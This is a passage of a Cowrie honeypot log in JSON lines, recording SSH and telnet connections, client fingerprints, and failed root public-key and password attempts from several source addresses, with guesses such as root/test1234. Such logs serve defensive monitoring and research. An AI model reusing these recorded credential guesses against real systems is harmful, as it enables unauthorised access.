-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:39.544402Z","src_ip":"89.38.96.216","session":"04e2064a1878","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:bd:17:c2:26:16:90:39:cd:72:10:4c:21:44:d6:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4WI3OLcTt8BHkKGurvENOaUheznPBcuGtVK6MVUuPeJRDW4QOKgSgc1WeaVoSoJKYdXV8RqQeGzJvI26AGW8PoDI5+w8sUsoiHZvu6S5roDm8mNBGxwHOnS53tj/CQ0vdUYIhq0Zac9KKtM/77sIrFN1rt6ZY40YYvTBxbvqXF968oMwqWcdak0IQ0nyuPVvi+uimZYxmFDxoEtHNcTIooC4xxOcde4XL0g1m/beePUKlNzP92nvdS8gO0gytMayQ2OjkRSpjtsGjdt7s+RUZeCP94kpmgLmgEdbI1vR93IhGrO5MhzexpoF91jH5zrN3U8eyd0Lz0fJ2IhLv5fjww==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7a:bd:17:c2:26:16:90:39:cd:72:10:4c:21:44:d6:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:39.960710Z","src_ip":"89.38.96.216","session":"04e2064a1878","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:bd:17:c2:26:16:90:39:cd:72:10:4c:21:44:d6:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4WI3OLcTt8BHkKGurvENOaUheznPBcuGtVK6MVUuPeJRDW4QOKgSgc1WeaVoSoJKYdXV8RqQeGzJvI26AGW8PoDI5+w8sUsoiHZvu6S5roDm8mNBGxwHOnS53tj/CQ0vdUYIhq0Zac9KKtM/77sIrFN1rt6ZY40YYvTBxbvqXF968oMwqWcdak0IQ0nyuPVvi+uimZYxmFDxoEtHNcTIooC4xxOcde4XL0g1m/beePUKlNzP92nvdS8gO0gytMayQ2OjkRSpjtsGjdt7s+RUZeCP94kpmgLmgEdbI1vR93IhGrO5MhzexpoF91jH5zrN3U8eyd0Lz0fJ2IhLv5fjww==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:39.964321Z","src_ip":"89.38.96.216","session":"04e2064a1878","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:24:cd:5b:94:dc:37:cf:cb:d9:7b:4c:87:91:dd:b6","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMYbFJpZ6UCwv5BGK1IO9EvrocGJ8YT4bIVkrZzHfHpgJRvpXjA5EDxH0x+/otPwpiY8DDWJb7OOXa+Q/1t4ZJXSTyP2620B0xmw/1DzeVcqdoS3GBFpqm9GRAqMCc4PQLrVe1ZLGR2y09sEXXadZvIE8ICLc5gAZiRomo1Kl+vZAAAAFQDMPDaB2iGHBCMYGvXs45QrRMjY2wAAAIEAu6+w5sxPpfsHHG+SJ9FM4Gf5Rm5LUgkl5KU4VhJanwP8U+Me6QdxprWM7MyYWEWBjMi0OMJ/1liBFO7Vg6bwIgYClo9Na46w2vY8Gegpa/AhIQhIRd9CKh9C4cccotftB5MhO5xoYRtTtod6TXogYyg1YSQApoXNRBX6toPaeaAAAACACAzlg02jXLsknvSs+8Oni5VdkkdkMttQ97cF3qP/Lt7ho76oWNRG2VcoQ75lvGZaMdQC5Jo03PuA0lHq970NInZz6V7cBBtyQ3/LRAqUL9dZ3UYr+KAgWRTXkFSDDW+HVZSkde6fAr5WVj8kk40CfkL1vlDE9jyyOqoqW1JkYnw=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 21:24:cd:5b:94:dc:37:cf:cb:d9:7b:4c:87:91:dd:b6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:40.052557Z","src_ip":"89.38.96.216","session":"04e2064a1878","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:24:cd:5b:94:dc:37:cf:cb:d9:7b:4c:87:91:dd:b6","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMYbFJpZ6UCwv5BGK1IO9EvrocGJ8YT4bIVkrZzHfHpgJRvpXjA5EDxH0x+/otPwpiY8DDWJb7OOXa+Q/1t4ZJXSTyP2620B0xmw/1DzeVcqdoS3GBFpqm9GRAqMCc4PQLrVe1ZLGR2y09sEXXadZvIE8ICLc5gAZiRomo1Kl+vZAAAAFQDMPDaB2iGHBCMYGvXs45QrRMjY2wAAAIEAu6+w5sxPpfsHHG+SJ9FM4Gf5Rm5LUgkl5KU4VhJanwP8U+Me6QdxprWM7MyYWEWBjMi0OMJ/1liBFO7Vg6bwIgYClo9Na46w2vY8Gegpa/AhIQhIRd9CKh9C4cccotftB5MhO5xoYRtTtod6TXogYyg1YSQApoXNRBX6toPaeaAAAACACAzlg02jXLsknvSs+8Oni5VdkkdkMttQ97cF3qP/Lt7ho76oWNRG2VcoQ75lvGZaMdQC5Jo03PuA0lHq970NInZz6V7cBBtyQ3/LRAqUL9dZ3UYr+KAgWRTXkFSDDW+HVZSkde6fAr5WVj8kk40CfkL1vlDE9jyyOqoqW1JkYnw=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:40.056391Z","src_ip":"89.38.96.216","session":"04e2064a1878","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fd:f8:30:c4:d2:bd:e4:bd:70:ae:68:7e:17:1e:fe:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCRLU0XRHvj0Q/WeZFc5+qRwyzmZk3xSS7ayDBfT2e8+ViTEF6MTfrErHjvb/mgo/vj2Ute9SKCh2kv+hcqEGYMwoXP4jZ7rB1ovV+eCDpIS1iVB9R9i/ABiMHPTMvdKmItLMP8v1chAdl6+PRIaYYxAVvy2ETXJF356ldwII3U8DbDJiPAbYIJsJtanNh4of3a5zW/C8OxeNuhv6QL1NIeURn2g7XCQ6mi/ixrlgLXeKi53+znWf0nCBUglS2n7EQa02GWHxYhXr3A7uXUquxeRuFm7AYvEtarPyItU0tIWcl3S2RdqN4QDkuI2CDIJIONeYjeSdPko/KhrNKtiP9d","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fd:f8:30:c4:d2:bd:e4:bd:70:ae:68:7e:17:1e:fe:78","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:40.144535Z","src_ip":"89.38.96.216","session":"04e2064a1878","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fd:f8:30:c4:d2:bd:e4:bd:70:ae:68:7e:17:1e:fe:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCRLU0XRHvj0Q/WeZFc5+qRwyzmZk3xSS7ayDBfT2e8+ViTEF6MTfrErHjvb/mgo/vj2Ute9SKCh2kv+hcqEGYMwoXP4jZ7rB1ovV+eCDpIS1iVB9R9i/ABiMHPTMvdKmItLMP8v1chAdl6+PRIaYYxAVvy2ETXJF356ldwII3U8DbDJiPAbYIJsJtanNh4of3a5zW/C8OxeNuhv6QL1NIeURn2g7XCQ6mi/ixrlgLXeKi53+znWf0nCBUglS2n7EQa02GWHxYhXr3A7uXUquxeRuFm7AYvEtarPyItU0tIWcl3S2RdqN4QDkuI2CDIJIONeYjeSdPko/KhrNKtiP9d","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:40.147349Z","src_ip":"89.38.96.216","session":"04e2064a1878","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0b:48:11:20:c4:ac:e6:cd:65:6c:a5:a6:20:82:87:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKQbun7tGS93L9CZJdoCAjZ+snfe8JxiJyLHVFPb2XK70GPbVFdi53ecwXRTpYoGCY1TcmRjy1idiGgbt3ZWuppr5NZC01LgRP9XwVoIOjdG1po9cupmwkkmfRbNGVLF93+FoaVi4cy0y3L/RQrfef8QbHtRvkO9DooHvnQl8n1kr1CqKykUFVjg5Vf9uB65X6iOh8ehBuqSdrZV+EU5EnRejfqDI2kbhmjqnNE+v/UYZ4RjT4CnhEPBGs3vBLZjyCsywIW3Xvj+kfLted9eoJiX2vKSqF5UTFTjH2Gp/yJb9CfVZRA07FvACSS1/R4BVWAVu8ibtCQx4ZhaAZRlCl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0b:48:11:20:c4:ac:e6:cd:65:6c:a5:a6:20:82:87:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:40.236274Z","src_ip":"89.38.96.216","session":"04e2064a1878","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0b:48:11:20:c4:ac:e6:cd:65:6c:a5:a6:20:82:87:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKQbun7tGS93L9CZJdoCAjZ+snfe8JxiJyLHVFPb2XK70GPbVFdi53ecwXRTpYoGCY1TcmRjy1idiGgbt3ZWuppr5NZC01LgRP9XwVoIOjdG1po9cupmwkkmfRbNGVLF93+FoaVi4cy0y3L/RQrfef8QbHtRvkO9DooHvnQl8n1kr1CqKykUFVjg5Vf9uB65X6iOh8ehBuqSdrZV+EU5EnRejfqDI2kbhmjqnNE+v/UYZ4RjT4CnhEPBGs3vBLZjyCsywIW3Xvj+kfLted9eoJiX2vKSqF5UTFTjH2Gp/yJb9CfVZRA07FvACSS1/R4BVWAVu8ibtCQx4ZhaAZRlCl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:40.240061Z","src_ip":"89.38.96.216","session":"04e2064a1878","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ba:70:f5:2f:d3:87:10:bb:b7:4d:41:9e:da:d1:04:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxHakmpmTdfNiZF+txrIOH6TA8ORwLPRJ35z3l6NPagPZRXxKhSEK+RPSZWNAD5PdGhVSjmaxPfk8dG7Ob97OE4F+QuNh9fVKRCWdcHh5FtOhSAz/nmaLjMf6WskJYyruHre6bTbaQyNC7Qt5b0PYhrVI05V5IrHTsvVa45l2+Hbz9NVG9gYSPBUls4liZihoB8B2pqRYsejm6Qk/heqrf8imHf6U41aN849+ToSQ1pdBABZPhxwplQE17Xig+XCiZYG7GMgA7i6b+QHfIWad85j9QUVWWmmo5apWmVyETpNE+qdde71u5s+Ek6CNK2r4tZloxaUDTX7qFovS+k5c3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ba:70:f5:2f:d3:87:10:bb:b7:4d:41:9e:da:d1:04:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:40.328685Z","src_ip":"89.38.96.216","session":"04e2064a1878","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ba:70:f5:2f:d3:87:10:bb:b7:4d:41:9e:da:d1:04:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxHakmpmTdfNiZF+txrIOH6TA8ORwLPRJ35z3l6NPagPZRXxKhSEK+RPSZWNAD5PdGhVSjmaxPfk8dG7Ob97OE4F+QuNh9fVKRCWdcHh5FtOhSAz/nmaLjMf6WskJYyruHre6bTbaQyNC7Qt5b0PYhrVI05V5IrHTsvVa45l2+Hbz9NVG9gYSPBUls4liZihoB8B2pqRYsejm6Qk/heqrf8imHf6U41aN849+ToSQ1pdBABZPhxwplQE17Xig+XCiZYG7GMgA7i6b+QHfIWad85j9QUVWWmmo5apWmVyETpNE+qdde71u5s+Ek6CNK2r4tZloxaUDTX7qFovS+k5c3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:40.331372Z","src_ip":"89.38.96.216","session":"04e2064a1878","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:40.419180Z","src_ip":"89.38.96.216","session":"04e2064a1878","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":40386,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b39720d4648","protocol":"ssh","message":"New connection: 45.153.34.114:40386 (159.203.135.109:22) [session: 5b39720d4648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:43.888060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:43.893332Z","src_ip":"45.153.34.114","session":"5b39720d4648","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:43.979795Z","src_ip":"45.153.34.114","session":"5b39720d4648","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:44.248347Z","src_ip":"45.153.34.114","session":"5b39720d4648","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:45.341644Z","src_ip":"45.153.34.114","session":"5b39720d4648","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":44686,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b386564257d","protocol":"ssh","message":"New connection: 45.153.34.114:44686 (159.203.135.109:22) [session: 7b386564257d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:51.804196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:51.822956Z","src_ip":"45.153.34.114","session":"7b386564257d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:51.889695Z","src_ip":"45.153.34.114","session":"7b386564257d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"systemd","message":"login attempt [systemd/systemd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:52.226183Z","src_ip":"45.153.34.114","session":"7b386564257d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:53.316502Z","src_ip":"45.153.34.114","session":"7b386564257d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.16269612312317,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:57.734456Z","src_ip":"74.91.213.120","session":"ed3447798dec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":53660,"dst_ip":"159.203.135.109","dst_port":22,"session":"548fc3616b70","protocol":"ssh","message":"New connection: 45.153.34.114:53660 (159.203.135.109:22) [session: 548fc3616b70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:00.152787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:00.180946Z","src_ip":"45.153.34.114","session":"548fc3616b70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:00.238451Z","src_ip":"45.153.34.114","session":"548fc3616b70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:00.581855Z","src_ip":"45.153.34.114","session":"548fc3616b70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:01.670170Z","src_ip":"45.153.34.114","session":"548fc3616b70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.16.27.190","src_port":37426,"dst_ip":"159.203.135.109","dst_port":22,"session":"82530c72b7db","protocol":"ssh","message":"New connection: 125.16.27.190:37426 (159.203.135.109:22) [session: 82530c72b7db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:07.028140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:07.033051Z","src_ip":"125.16.27.190","session":"82530c72b7db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:07.254287Z","src_ip":"125.16.27.190","session":"82530c72b7db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passer","message":"login attempt [root/passer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:08.173440Z","src_ip":"125.16.27.190","session":"82530c72b7db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":53668,"dst_ip":"159.203.135.109","dst_port":22,"session":"08617986b246","protocol":"ssh","message":"New connection: 45.153.34.114:53668 (159.203.135.109:22) [session: 08617986b246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:08.266469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:08.270735Z","src_ip":"45.153.34.114","session":"08617986b246","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.co